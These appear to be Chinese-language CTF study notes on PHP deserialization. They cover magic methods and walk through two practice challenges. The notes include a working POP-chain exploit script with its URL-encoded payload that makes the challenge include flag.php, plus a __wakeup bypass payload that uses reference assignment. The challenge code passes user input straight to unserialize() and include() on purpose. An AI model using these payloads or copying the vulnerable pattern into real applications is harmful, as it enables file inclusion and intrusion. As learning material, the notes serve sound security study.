注意
php类名大小写不敏感
魔术方法
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发
可以参考:
php函数
__construct()
当一个对象被创建时自动调用这个方法 即 $a=new A()
时会自动调用
__call()
在对象上下文中调用不可访问的方法时触发
调用不存在的方法
既这个类中存在这个函数,却调用他就会触发
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
__get()
当有__get()函数时,每次调用属性都将调用这个魔术方法,所以每次调用都会触发
触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称
__set()
触发时机:给不存在的成员属性赋值
__isset()
__unset()
__clone()
__toString()
当echo
或者.
拼接对象时会调用这个魔术方法
总结
构造pop链
如果存在私有属性,则需要url加密
urlencode(serialize($b));
因为私有属性前面和后面存在%00
例题
例题:小白进群题
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
pop链
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){//把这个实例当作一个方法来调用
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){//当使用echo或者print输出对象时,将对象转化成字符串
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __get($key){//访问私有属性private、以及不存在的属性时被调用
$function = $this->p;
return $function();
}
}// ->__construct->__get->__invoke
$a=new Modifier();
$b= new Show();
$c = new Test();
$b->source= $b;
$b->str=$c;
$c->p=$a;
echo urlencode(serialize($b));
?>
结果
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D
注意
__construct()
__sleep()
可能会影响pop链的构造,如果影响了得删了__wakeup
可能是不需要的,需要绕过
php引用赋值&
php中可以使两个变量指向同一个内存地址
<?php
function test (&$a){
$x=&$a;
$x='123';
}
$a='11';
test($a);
echo $a;
输出:
123
<?php
class KeyPort{
public $key;
public function __destruct()
{
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}
public function __wakeup(){
$this->wakeup=True;
}
}
if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}
这题的绕过可以通过的引用赋值的方法,让key的值改变的时候也改变wakeup的值
<?php
class KeyPort{
public $key;
public function __destruct()
{
}
}
$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport);
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}